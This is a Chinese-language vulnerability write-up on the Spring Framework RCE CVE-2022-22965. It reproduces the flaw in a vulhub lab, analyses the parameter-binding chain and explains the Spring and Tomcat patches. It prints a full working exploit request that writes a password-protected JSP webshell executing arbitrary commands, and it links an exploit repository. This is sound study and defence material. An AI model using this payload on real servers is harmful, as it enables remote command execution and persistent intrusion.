CVE-2022-22965-Spring远程命令执行漏洞

前一段时间网上爆出Spring框架存在RCE漏洞,在网上传了一段时间,3月30日我还特意学了一下CVE-2010-1622-SpringMVC框架任意代码执行漏洞,据说最近出的洞是它的绕过。
Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965

exp:https://github.com/liangyueliangyue/spring-core-rce

1. 前置知识

之前介绍过了,也可以查看 https://www.aqniu.com/industry/82365.html 这里的介绍
Panda师傅的这篇文章介绍的也很详细 https://www.cnpanda.net/sec/1196.html

2. 漏洞条件

  • JDK9及其以上版本;
  • Spring 5.3.17 及之前版本;
  • Tomcat 9.0.61 及之前版本;
  • 直接或间接使⽤了Spring-beans包;
  • 使⽤了Spring参数绑定,并且绑定的是⾮基本参数类型,例如⼀般的POJO即可;
  • Web应用部署方式必须为Tomcat war包部署

3. 漏洞复现

这里我直接使用vulhub搭载环境了。

1
2
cd vulhub/spring/CVE-2022-22965
docker-compose up -d

启动
图1
在浏览器输入http://your-ip:8080/?name=Bob&age=25,可以看到
图2
接下来写入下payload

1
2
3
4
5
6
7
8
9
10
11
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

图3
进入docker中的/usr/local/tomcat/webapps/ROOT
图4
jsp文件写入成功
在浏览器输入如下地址http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id
图5
webshell运行成功

使用这里poc也可以写入成功,只不过需要改一下代码
图6

图7

4. 漏洞分析

因为没有调试,这里就不具体分析了,想要看调试步骤及详细分析的话可以看Refer
payload URL解码

1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

(1)pattern参数:
参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern=
参数值:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
这个参数是Spring多层嵌套参数绑定,整个调用链为:

1
2
3
4
5
6
7
8
9
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValvepattern属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。
我们再来看pattern参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码
图8
即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。
最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):

1
2
3
4
5
6
7
8
9
10
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//

接下来看其余的参数

(2)suffix参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
参数值:.jsp
按照pattern参数相同的调试方法,suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。

(3)directory参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
参数值:webapps/ROOT
按照pattern参数相同的调试方法,directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。

这里提下webapps/ROOT目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/根目录访问。

(4)prefix参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
参数值:tomcatwar
按照pattern参数相同的调试方法,prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀。

(5)fileDateFormat参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
参数值:空
按照pattern参数相同的调试方法,fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期

小总结

至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcatwebapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell

漏洞利用关键点

关键点一:Web应用部署方式

java.lang.Moduleorg.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。

ParallelWebappClassLoaderWeb应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下使用classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法。具体源码请参考文章末尾的参考章节。

这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。

关键点二:JDK版本

在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。

Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults构造方法中当Bean的类型为java.lang.Class时,不返回classLoaderprotectionDomainPropertyDescriptorSpring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建。
不返回,也就意味着class.classLoader...这种嵌套参数走不通,即形如下方的调用链:

1
2
3
4
Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBaz()
......

这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:

1
2
3
4
5
Foo.getClass()
java.lang.Class.getModule() // 绕过
java.lang.Module.getClassLoader()
BarClassLoader.getBaz()
......

这就是为什么本漏洞利用条件需要JDK>=1.9

5. 修复

Spring 5.3.18补丁

通过对比Spring 5.3.175.3.18的版本,可以看到对CachedIntrospectionResults构造函数中Java BeanPropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。这样的话利用java.lang.Class.getModule()的链路就走不通了。

Tomcat 9.0.62补丁

通过对比Tomcat 9.0.619.0.62的版本,可以看到对getResources()方法的返回值做了修改,直接返回nullWebappClassLoaderBaseParallelWebappClassLoader的父类,这样的话利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。

6. Refer

https://www.aqniu.com/industry/82365.html